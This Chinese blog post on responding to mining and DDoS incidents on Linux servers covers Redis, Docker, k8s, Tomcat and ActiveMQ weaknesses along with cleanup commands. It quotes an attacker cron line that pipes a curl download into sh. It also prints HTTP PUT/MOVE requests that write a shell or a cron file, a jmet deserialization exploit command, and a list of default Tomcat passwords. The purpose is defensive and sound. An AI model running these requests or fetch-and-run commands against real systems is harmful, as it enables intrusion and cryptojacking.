关于 Linux 挖矿、DDOS 等应急事件处置方法

地球胖头鱼 2020-12-14
Web安全 发布于 2020-12-14 10:59:05 阅读 128 评论 0

前言

应急响应主要遇到的有挖矿、DDoS、短信接口盗刷、用户接口泄漏、越权信息获取、挂黑页、删数据等。本文只针对急响应中的挖矿和DDoS两类做一下总结及自己的处置方法,帮助运维等相关人员在遇到之后能够快速响应、处置。文章有不足之处欢迎大家指出、补充。

应急事件处理流程

服务器安全排查

  • webshell 查找
  • 木马病毒查找和清理
  • 恶意进程、网络连接和自启任务等清理

问题事件分析

  • 溯源事件缘由、黑客攻击途径

应用系统安全漏洞排查

  • 应用安全漏洞排查

攻击者进行挖矿、DDoS利用的漏洞有哪些

未授权访问

未授权访问在我所处置的应急响应事件中所占的比重最大,主要分为以下几种:

redis未授权访问

redis未授权访问主要被用来进行挖矿,一般手段是通过redis写入计划任务,基本上都是形如/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh,直接进行挖矿、ddos等。

排查方法:

修复方法:

memcache未授权访问

memcache未授权访问主要被用来进行DDoS,在今年三月份爆发,攻击者利用memcached协议,发送大量带有被害者IP地址的UDP数据包给放大器主机,然后放大器主机对伪造的IP地址源做出大量回应,形成分布式拒绝服务攻击,从而形成DRDoS反射。

排查方法:

修复方法:

  • 设置memchached只允许本地访问
  • 禁止外网访问Memcached 11211端口
  • 编译时加上–enable-sasl,启用SASL认证

docker未授权访问

docker未授权访问主要被用来进行挖矿,通过挂载宿主机的/etc//var/spool/cron/等目录,之后将相关挖矿的脚本、命令等写入到/etc/crontab/var/spool/cron/crontabs/root中。

排查方法:

修复方法:

  • 在不必需的情况下,不要启用docker的remote api服务
  • 在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

k8s未授权访问

k8s未授权访问主要被用来挖矿,API Server 默认会开启两个端口:8080和 6443。其中 8080 端口无需认证,6443 端口需要认证,且有 TLS 保护,直接访问8080端口会返回可用的API列表。访问dashboard 页面,可以创建、修改、删除容器,查看日志等。攻击者利用的流程大体为:创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab定时任务进行挖矿。

排查方法:

修复方法:

  • 配置安全组、防火墙等,禁止敏感端口对外开放
  • 为管理端添加认证

Tomcat

Tomcat目前常被利用的有:

Tomcat PUT任意文件写入漏洞(CVE-2017-12615)

排查方法:

直接发送以下数据包即可在Web根目录写入shell

PUT /test.jsp/ HTTP/1.1
Host: ip:port
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test

Tomcat弱口令部署war包getshell

排查方法:

查看tomcat管理控制台是否存在如下弱口令:

用户名 密码
tomcat tomcat
admin j5Brn9
admin admin
admin tomcat
role changethis
role1 role1
root root
root changethis
role1 tomcat
both tomcat
tomcat changethis

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 及时升级Tomcat补丁
  • 安全组、防火墙等设置访问白名单

ActiveMQ

ActiveMQ目前常被利用的有:

ActiveMQ反序列化命令执行(CVE-2015-5254)

默认开启61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。攻击者利用的流程为:构造可执行命令的序列化对象 -> 作为一个消息,发送给目标61616端口 ->访问web管理页面,读取消息,触发漏洞

排查方法:

下载jmet的jar文件

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/activemq" -Yp ROME IP 61616

ActiveMQ fileserver任意文件写入漏洞(CVE-2016-3088)

ActiveMQ的web控制台8161端口分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api需要登录后才能使用,fileserver无需登录。目前见到的是直接写入cron挖矿,简单粗暴!

排查方法:

PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 4
test

写入到计划任务

MOVE /fileserver/text.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 及时升级ActiveMQ补丁
  • 安全组、防火墙等设置访问白名单

爆破

主要是Windows3389、Linux ssh爆破,爆破成功之后直接执行命令进行挖矿、DDoS。

排查方法:网上搜索自己的密码是否被公开活在黑客字典中

修复方法:

  • 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
  • 安全组、防火墙等设置白名单访问

Struts2

利用Struts2反序列化命令执行,直接执行相关命令。

排查方法:

搜索网上一键扫描struts2漏洞的工具进行检测

修复方法:

  • 及时升级Struts2相关补丁

Java RMI命令执行

RMI服务的默认开放1099端口,且暴露在公网中,并且恰好使用了Apache Commons Collections的缺陷版本,可被直接利用来进行任意命令执行。

排查方法:使用nmap进行端口扫描

修复方法:

  • 升级相应缺陷版本
  • 安全组、防火墙等设置拒绝RMI端口访问

应急响应快速排查步骤

以Linux为例,以下相关步骤只针对挖矿、DDoS相关安全事件的排查,以便快速、高效解决问题。其他安全事件按照通用事件排查步骤即可。

检查进程及文件

  • top -c : 快速查看进程信息,并获取进程文件位置
  • kill -9 PID : 杀死进程

根据恶意进程、文件特征如:文件名、文件大小、文件创建时间进行全盘搜索

  • grep -rni “shell.name” * : 根据文件名特征查找
  • find / -size 1223123c : 根据文件大小特征查找
  • find / -mtime 1 -name * : 根据文件创建时间查找
  • lsof -p PID:查看进程占用信息
  • cd /proc/PID : 进入到进程中
  • cat * |strings -n 5 |more : 读取该进程内存中的信

检测网络

  • lsof -i:5000 : 查看5000端口的占用情况
  • netstat -nap : 查看不正常端口
  • netstat -an | grep tcp | awk ‘{print $5}’ : 查看TCP连接
  • netstat -an | grep SYN | awk ‘{print $5}’ | awk -F:’{print $1}’ | sort | uniq -c | sort -nr | more : 查看SYN连接

检查计划任务

  • crontab -u root -l : 查看root用户的计划任务
  • cat /etc/crontab : 查看/etc/crontab
  • ls -al /etc/cron.* : 查看cron文件是否变化的详细信息
  • ll /var/spool/cron/ : 查看/var/spool/cron/

检查系统命令

ls -alt /bin/ | head -n 10ls -alt /usr/sbin/ | head -n 10ls -alt /usr/bin/ | head -n 10

注意事项

1、一定要查看系统命令是否被替换,否则所做的都是一切徒劳。。。

2、若系统替换可用其他代替,如:ps使用top,netstat使用ss等

3、lsof -n |grep delete 查找已经删除但是还在使用的文件

4、留意下是否有SSH后门

5、注意是否存在隐藏进程

6、实在无法删除可使用chattr +i锁定相应计划任务文件

7、实在不行修改把curl ,wget ,lynx 文件全局重命名

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章191
  • 作者收获粉丝7
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量3.6 万(每日更新)
查看所有博文